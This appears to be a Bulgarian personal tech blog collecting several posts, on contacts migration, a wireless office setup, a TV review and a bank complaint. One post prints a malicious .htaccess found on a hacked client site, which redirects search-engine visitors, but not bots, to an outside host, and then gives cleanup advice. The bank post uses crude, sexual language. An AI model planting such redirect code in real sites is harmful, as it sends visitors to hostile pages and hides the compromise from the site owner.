Нови неща

Покрай събитията от 27-мо число забравих за няколко много важни неща, не ето, че им дойде най – накрая реда. По списък:

1. Сайта на он-лайн магазин eChark.com – това е диагноза стартира! И веднага стартира с нещо наистина хубаво – провоция на едни лаптопи, които с течение на времето се наложиха на пазара като добър коефициент цена / действие. Бързайте, за да не свършат бройките преди да се усетите, че искате лаптоп на изгодна цена.

2. Блогът се ъпдейтна. Сещам се, че трябва и тема да си изнамеря, че с правенето нещата май ще пропаднат.

3. Работата по фирмения сайт продължава с пълна сила – ако всичко е ок ще има съвместимост от IE6 през FF2, Opera 10 до сега хослредно каквото е излязло, че и за капак ще е валидирано по W3C!

4. Един от проектите ще получи тотална промяна. От нещо старо и събирано от тук и там в момента се пренаписва на чисто. Ама за това по – нататък.

Ай че скъпо…

Прехвърляне на контактите от facebook в google+

Събота Неделя вечер не е време за правене такава мизерия!!!

Изгледах интересен брой видеота как да си прехвърлим контактите, но искаха да се регистрирам в yahoo!Mail. Да ама аз преди доста време се разкарах от там и сега отново да се връщам към тях – не, благодаря.

Ровя се и се чудя как да го направя и по едно време ми светна, че Skype вкара видео разговори във facebook, а също така може да се кънектна към профила си. Та кънектнах се и пробвах да си източа всички контакти от facebook. Стана! Всичко мина по мед и масло. Само един бъг се появи, но за него по – надолу. Добавих ги в скайпа и след това в Skype -> Contacts -> Advanced -> Backup Contacts To File – задавате някакво име и разширението трябва да е *.vcf

След това отваряте gmail, не g+! В лявата колон под Mail пише Contacts. Цък там. После от падащото меню More actions -> Import. Зарежда се диалогов прозорец. Цък на Browse и си намираме файла, който по – рано съхранихме. След това цък на Import и чакаме gmail да си свърши работата.

Като приключи зареждаме g+. Цък после на кръговете. Избираме “Намиране на хора” и там ще са допълнително добавените контакти от въпросния файл.

Сега бъга: Оказа се, че при добавянето на контактите от facebook в skype тъпото приложение изпраща заявка за добавяне на skype акаунта на приятеля от facebook в контактната ми листа. Представете си ако добавяте над 300 акаунта какво става? И понеже това го правя вечерта представям си какво ще е на следващия ден!!!

истината е в htaccess

Преди малко един клиент звъни, че сайта му не се отваря. Отварям браузър, зареждам адреса и … нищо. Кънект към ftp-то и светва веднага работата! От някъде се е появил един .htaccess файл и вътре в него следния код:

# exgocgkctswo
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(q\=cache\:).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|like\sMac\sOS|macDN|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS}            ^off$
RewriteRule ^(.*)$   http://gamecomes.org/cgi-bin/r.cgi?p=15004&i=1a855b47&j=333&m=e8b784f32f66a9939d48720b926a0041&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME}  [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]
# exgocgkctswo

Накратко: човека къде е влизал, къде не, но е теглил нещо и го е инсталирал и после решил да си човърка по хостинга. Резултата е ясен.

Чистене: на първо време си написвате един скрипт да намери и изтрие всички .htaccess файлове /тези, които сте с wordpress внимателно, че да не берете ядове/. Стъпка две – СМЯНА НА ПАРОЛАТА за акаунта. Стъпка три – колкото и да ви е сигурна програмата за ftp достъп до хостинга никога да не се ползва опцията за съхраняване на парола.

към мен – никога повече, колкото и да иска клиента да не му се дава достъп до хостинга. Ха познайте кой излезе виновен :)

Ъпдейт: няколко минути по – късно след като пуснах поста

Оказва се, че не е ново това. Датира още от Май миналата година. Сещам се, че преди време пак ме търсиха за такъв проблем /там хвърляше грешка 500/ /намерете коментара ми в блога на Петър и Биляна/. Тогава белята бе във всяка папка и отне повече време да се изтрие. После се сетих, че можеше да се напише скрипт, за да се изтрият въпросните файлове.

В повечето случаи проблема е в задклавиатурното устройство!

безжичния офис aka wireless office

Тези дни бяха доста интересни за мен. Едва ли ще ми се отдаде втори път да изградя такова нещо, но все пак останах доста впечатлен. Идеята не е нито нова, нито стара, но да работиш върху това си оставя определена следа.

Инвеститор от Европа се свързва с мен, покрай мой познат, относно покупка на компютърна техника за новоизграждащ се офис. Като изискване не се искаше много от, колкото да се свържат компютрите в мрежа и един мрежови принтер да принтират служителите, но интересното бе, че инвеститора, един около 60-те години дядо, бе доста на ти с техниката и каза, че главното изискване е да има възможно най–малко кабели и да може да се включи единия лаптоп към телевизор, за да се показват проектите.

Та закупиха се 5бр. лаптопи Dell, за рутер се спрях на този, който аз лично си взех за вкъщи TP-Link TL-WR1043ND, за принтер се спрях на HP LJ 1102w, а за телевизор дядото закупи последния Samsung Smart TV. Стъпка едно конфигуриране на рутера – много лесно за тези, които са го правили. За тези, които не са следвайте инструкциите – It’s not rocket science! Наложи се да клонирам МАС адреса, че беше неделен ден, а някои сис-админи не бачкат в неделя (но това няма значение). Свързахме лаптопите в мрежа и следващата стъпка бе инсталиране на принтера. От опит знам, че първо трябва да сложа диска с драйверите за принтера и едва когато инсталацията поиска тогава да включа кабела. Така и направих. По време на инсталиране на принтера инсталацията попита как да конфигурира принтера по USB или безжично – съответно избор 2 безжично. Инсталатора махна текущо инсталираните драйвери и сложи тези за управление по безжичен тип. Преди да завърши инсталацията поиска да свържа принтера към рутера, та на самия рутер има един бутон QSS (Quick Security Setup) – натиснах го и потвърдих на инсталатора, че бутона е натиснат – останалото инсталатора на принтера си го свърши. След като завърши инсталацията разкачих USB кабела и реших да видя това дали ще печата. Уау!! Принтира си без проблем. До тук добре, ами другите лаптопи?? След кратка справка с ръководството се оказа, че трябва да отворя уеб браузър, да достъпи принтера по IP и от там да инсталирам принтера!? Шах и мат с пешката! Седя и гледам умно какво е написано и недоумявам как ще стане. Проверих какво IP е дало рутера на принтера и пробвах да го отворя през браузера – стана, егаси. Почнах да усещам, че отново трябва да чета повече ИТ новини. Оказа се, че драйверите са в сложени в самия принтер! Nice, a? Телевизора мина бързо по реда си – едно, че е нова технология, друго че вече знаех какво и къде да търся. Самият рутер предлага възможност да включиш външен хард (използвах Seagate FreeAgent 500GB) и да го шернеш по мрежата. Изпробвано е и работи – пуснах си през външния хард филм с HD качество (първо720p, после и 1080p) и нямаше никакво забавяне. През две стаи, едно на които стената е носеща и си бе доволна дебела, сигнала намаля от 5 на 3 черти, но не се забави нито за секунда. Рекох да тествам и телевизора – и това стана дядо попе! Реших да вкарам допълнително труд и заложих принтера и телевизора да резервират първите IP адреси, като си оставих и допълнително, ако решат да добавят принтер или друг телевизор. Лаптопите почнаха да си вземат IP-та от .30 нагоре. Показах и обясних всичко на инвеститора и се появи една доволна усмивка. Благодари и бяхме до там. Опитът с това ми хареса, така че някой ако има дертове с гореописаната техника ще може да дам съвет, а ако сте в района може и да намина, да затвърдя наученото. Единствения проблем, който ми прави рутера, е че от време на време забива и се налага рестарт, за да тръгне да работи отново.

Естествено заражда се и нотка на съмнение дали избраната техника е добра, и дали логиката, която съм следвал също е добра. Така че чакам мнения, ако някой е изграждал такова нещо, да сподели какво е използвал.

Google+1

Ето линка: http://www.google.com/webmasters/+1/button/

Много ми е интересно какво ще донесе като резултат.

Нещо което не ми хареса е, че трябва да имаш google акаунт, за да видиш въпросното +1 колко хора са го кликнали. Нещо май стратегията за привличане на клиенти не са я дообмислили.

Като положителна страна мини иконката пасна на дизайна на един от сайтовете който разработих и сега ще чакам да видим какво ще стане.

Дядо Радул гушна букета … или столичани в повече

Гледахте ли първата серия?

Аз да!

Голям смях падна. Българинът и българщината бяха иронизирани по начин, който те кара да се припознаеш във всеки един актьор и във всяка една ситуация. За сега действието се развива много добре, нито бавно, нито бързо. Интересна е и идеята какво ще се случи по – нататък да не се показва в сериала, а отделно. Навярно, че за някои това ще е неприятно, но какво да се прави. Историята все още се развива и за това на някой може да му се стори вяла първата серия, но очаквам нещата да се задълбочат и да стане и по – интересно, и по – смешно.

Към всичко не може и да не критикувам – част от актьорите имат нужда от шлайфане. Някои играха много вдървено – да се надявам, че тези грешки ще изчезнат като минат няколко серии.

В класацията ми отива заедно със сериала “Морска сол” като оценка много добър.

Защо НЕ трябва да си купуваме ИТ техника от Техно* моловете

Идеята на този блог е да пиша за програмиране и решаване на някои всекидневно срещани проблеми в програмирането, но има и теми, които не бих желал да пропусна.

Преди няколко дни за пореден път си отговорих на въпроса, защо има създадени компютърни фирми, и защо продължава да има идиоти сред населението.

Continue reading

За много години!

За много години!

През новата 2011 пожелавам много здраве, щастие и успехи.

Поставям си и следните планове:

1. В опита си да намеря подходяща тема за блога все удрям на камък, затова и започнах да си правя. Та трябва да я свърша.

2. Тая нощ ми се въртеше в главата модификация на timthumb.php скрипта с няколко екстри – в секция todo. А защо не и скрип за галерия при това open-source…

3. Да си купя нов компютър. Тоя горкия не знам как не е издъхнал, особено след изпълнение на един скрипт (тогава успях така да го натоваря, че сам се изключи)

4. и други неща, които ще ми хрумнат през годината.

ОББ, попълни този лист … wtf???

Днес направо щях да се задавя вътрешно! Влизам в ОББ (линк не заслужават), за да направя превод по сметка – действащи лица А(аз), С(служителката), К(касиерката):

С: Добър ден, кажете?

А: Добър ден. Искам да преведа по сметка една сума.

С: От ваша сметка ли?

А: Не (В този момент се сещам, че преди доста време си закрих сметката в ОББ), нямам сметка в ОББ.

С: Ясно. Попълнете този документ и заповядайте на касата – и в този момент вади кочана с едни зелени листа и къса два броя.

А: WTF? На ум: Абе ей лумпени в коя век живеете? Да попълвам листи, за да преведа пари по сметка … що не идете на майната си в /dev/null??? На глас: Малииии, ама то това е от памтивека (за неразбралите – от както съм клиент на ProCreditBank аз такива листа не съм попълвал и нямам намерение да попълвам; нареждам се на опашка на касата и операцията се извършва от служителката).

С: Кажете ми трите му имена?

А: Димимтър …., ами знам само две имена. Ето заповядайте IBAN номера.

С: Вашите имена и ЕГН?

А: А!? Ама и ЕГН ли трябва? Почвам да мисля, че вече не може да стане по – зле. Все още издирвам инфо за какъв чеп им е ЕГН-то ми при положение, че предния ден направих същата операция в Инвестбанк и там ЕГН не искаха, а само имената ми??? Диктувам каквото и трябва на мадамата…

С: Ами ето аз Ви го попълних листа.

А: на ум – Ами не само ще го попълниш ми и усмивка ще ми дадеш, нали трябва да си изкараш заплатата. И, О Чудо! Сетих се, че съм попълвал такива зелени листи, като си закривах сметката в ОББ. Добре че го направих. Вземам листа и отивам на касата. Наредих се чинно до табелата и зачаках да ме поканят. И да има едни табели, които са сложени и е хубаво до се наредим зад тях – хем имаш пространство да си разположиш парите на касата, хем няма да се притесняваш дали някой ти зяпа в парите и документите, които попълваш. Охраната си говори с касиерката (разбирам я охраната, явно толкова нямат клиенти, че човека скучае и търси да врътне две-три приказки с някой), и по едно време се усетиха и ме поканиха, но преди това касиерката налапа един бонбон (баси и устата дет изкара). По – горе писах, че по – лошо не може да стане… е да ама можело – от там се носеше аромат на пот, но от тая дето ти се набива през ноздрите право в мозъка и усещането не отминава. Викам си от охраната ще да е…

К: Добър ден и извинете – сега, за да можете да си представите как точно звучи накарайте някоя мацка да лапне пишката и да говори (в главата ми изплу картинката от един виц ама друг път ще го напиша).

А: Подавам великия зелен документ и се започва обработката му.

Абе тая воня на пот що още се носи из въздуха при положение, че охраната вече я няма.

Приключвам и по най – бързия начин излизам.

ОББ, моля никога повече!!!

Ебаси, егаси …… ай сиктир.